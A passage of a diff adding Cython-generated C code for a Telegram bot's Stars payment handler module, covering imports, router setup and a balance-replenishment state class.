aiogram import F, Router, types # <<<<<<<<<<<<<< + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + */ + __pyx_t_3 = PyList_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_F); + __Pyx_GIVEREF(__pyx_n_s_F); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_F)) __PYX_ERR(0, 3, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_Router); + __Pyx_GIVEREF(__pyx_n_s_Router); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_Router)) __PYX_ERR(0, 3, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_types); + __Pyx_GIVEREF(__pyx_n_s_types); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_types)) __PYX_ERR(0, 3, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_F, __pyx_t_3) < 0) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Router, __pyx_t_3) < 0) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_types, __pyx_t_3) < 0) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":4 + * + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext # <<<<<<<<<<<<<< + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, LabeledPrice, PreCheckoutQuery + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_FSMContext); + __Pyx_GIVEREF(__pyx_n_s_FSMContext); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_FSMContext)) __PYX_ERR(0, 4, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_fsm_context, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_FSMContext); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_FSMContext, __pyx_t_2) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":5 + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup # <<<<<<<<<<<<<< + * from aiogram.types import InlineKeyboardButton, LabeledPrice, PreCheckoutQuery + * from aiogram.utils.keyboard import InlineKeyboardBuilder + */ + __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_State); + __Pyx_GIVEREF(__pyx_n_s_State); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_State)) __PYX_ERR(0, 5, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_StatesGroup); + __Pyx_GIVEREF(__pyx_n_s_StatesGroup); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_StatesGroup)) __PYX_ERR(0, 5, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_fsm_state, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_State); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_State, __pyx_t_3) < 0) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_StatesGroup, __pyx_t_3) < 0) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":6 + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, LabeledPrice, PreCheckoutQuery # <<<<<<<<<<<<<< + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * + */ + __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardButton); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardButton); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_InlineKeyboardButton)) __PYX_ERR(0, 6, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_LabeledPrice); + __Pyx_GIVEREF(__pyx_n_s_LabeledPrice); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_LabeledPrice)) __PYX_ERR(0, 6, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_PreCheckoutQuery); + __Pyx_GIVEREF(__pyx_n_s_PreCheckoutQuery); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_PreCheckoutQuery)) __PYX_ERR(0, 6, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_types, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardButton, __pyx_t_2) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_LabeledPrice); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_LabeledPrice, __pyx_t_2) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PreCheckoutQuery); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PreCheckoutQuery, __pyx_t_2) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":7 + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, LabeledPrice, PreCheckoutQuery + * from aiogram.utils.keyboard import InlineKeyboardBuilder # <<<<<<<<<<<<<< + * + * from config import RUB_TO_XTR + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardBuilder); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardBuilder); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_InlineKeyboardBuilder)) __PYX_ERR(0, 7, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_utils_keyboard, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardBuilder, __pyx_t_3) < 0) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":9 + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * + * from config import RUB_TO_XTR # <<<<<<<<<<<<<< + * from database import ( + * add_connection, + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_RUB_TO_XTR); + __Pyx_GIVEREF(__pyx_n_s_RUB_TO_XTR); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_RUB_TO_XTR)) __PYX_ERR(0, 9, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_config, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_RUB_TO_XTR); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_RUB_TO_XTR, __pyx_t_2) < 0) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":11 + * from config import RUB_TO_XTR + * from database import ( + * add_connection, # <<<<<<<<<<<<<< + * add_payment, + * check_connection_exists, + */ + __pyx_t_3 = PyList_New(5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_add_connection); + __Pyx_GIVEREF(__pyx_n_s_add_connection); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_add_connection)) __PYX_ERR(0, 11, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_add_payment); + __Pyx_GIVEREF(__pyx_n_s_add_payment); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_add_payment)) __PYX_ERR(0, 11, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_check_connection_exists); + __Pyx_GIVEREF(__pyx_n_s_check_connection_exists); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_check_connection_exists)) __PYX_ERR(0, 11, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_get_key_count); + __Pyx_GIVEREF(__pyx_n_s_get_key_count); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 3, __pyx_n_s_get_key_count)) __PYX_ERR(0, 11, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_update_balance); + __Pyx_GIVEREF(__pyx_n_s_update_balance); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 4, __pyx_n_s_update_balance)) __PYX_ERR(0, 11, __pyx_L1_error); + + /* "handlers/payments/stars_pay.py":10 + * + * from config import RUB_TO_XTR + * from database import ( # <<<<<<<<<<<<<< + * add_connection, + * add_payment, + */ + __pyx_t_2 = __Pyx_Import(__pyx_n_s_database, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_connection, __pyx_t_3) < 0) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_payment, __pyx_t_3) < 0) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_check_connection_exists, __pyx_t_3) < 0) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_key_count, __pyx_t_3) < 0) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_update_balance, __pyx_t_3) < 0) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":17 + * update_balance, + * ) + * from handlers.payments.gift import STARS_ROUTER # <<<<<<<<<<<<<< + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_STARS_ROUTER); + __Pyx_GIVEREF(__pyx_n_s_STARS_ROUTER); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_STARS_ROUTER)) __PYX_ERR(0, 17, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_payments_gift, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_STARS_ROUTER); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_STARS_ROUTER, __pyx_t_2) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":18 + * ) + * from handlers.payments.gift import STARS_ROUTER + * from handlers.payments.utils import send_payment_success_notification # <<<<<<<<<<<<<< + * from handlers.texts import PAYMENT_OPTIONS + * from logger import logger + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_send_payment_success_notificatio); + __Pyx_GIVEREF(__pyx_n_s_send_payment_success_notificatio); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_send_payment_success_notificatio)) __PYX_ERR(0, 18, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_payments_utils, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_payment_success_notificatio, __pyx_t_3) < 0) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":19 + * from handlers.payments.gift import STARS_ROUTER + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS # <<<<<<<<<<<<<< + * from logger import logger + * + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_PAYMENT_OPTIONS); + __Pyx_GIVEREF(__pyx_n_s_PAYMENT_OPTIONS); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_PAYMENT_OPTIONS)) __PYX_ERR(0, 19, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAYMENT_OPTIONS, __pyx_t_2) < 0) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":20 + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS + * from logger import logger # <<<<<<<<<<<<<< + * + * router = Router() + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_logger); + __Pyx_GIVEREF(__pyx_n_s_logger); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_logger)) __PYX_ERR(0, 20, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_logger, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_logger, __pyx_t_3) < 0) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":22 + * from logger import logger + * + * router = Router() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_3) < 0) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":26 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_stars = State() + * waiting_for_payment_confirmation_stars = State() + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_3); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_3)) __PYX_ERR(0, 26, __pyx_L1_error); + __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PEP560_update_bases(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_CalculateMetaclass(NULL, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_5 = __Pyx_Py3MetaclassPrepare(__pyx_t_4, __pyx_t_3, __pyx_n_s_ReplenishBalanceState, __pyx_n_s_ReplenishBalanceState, (PyObject *) NULL, __pyx_n_s_handlers_payments_stars_pay, (PyObject *) NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (__pyx_t_3 != __pyx_t_2) { + if (unlikely((PyDict_SetItemString(__pyx_t_5, "__orig_bases__", __pyx_t_2) < 0))) __PYX_ERR(0, 26, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":27 + * + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_stars = State() # <<<<<<<<<<<<<< + * waiting_for_payment_confirmation_stars = State() + * entering_custom_amount_stars = State() + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_State); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_8, 0+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_choosing_amount_stars, __pyx_t_2) < 0) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":28 + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_stars = State() + * waiting_for_payment_confirmation_stars = State() # <<<<<<<<<<<<<< + * entering_custom_amount_stars = State() + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_State); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_8, 0+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_2) < 0) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":29 + * choosing_amount_stars = State() + * waiting_for_payment_confirmation_stars = State() + * entering_custom_amount_stars = State() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_State); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 29, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_8, 0+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + if 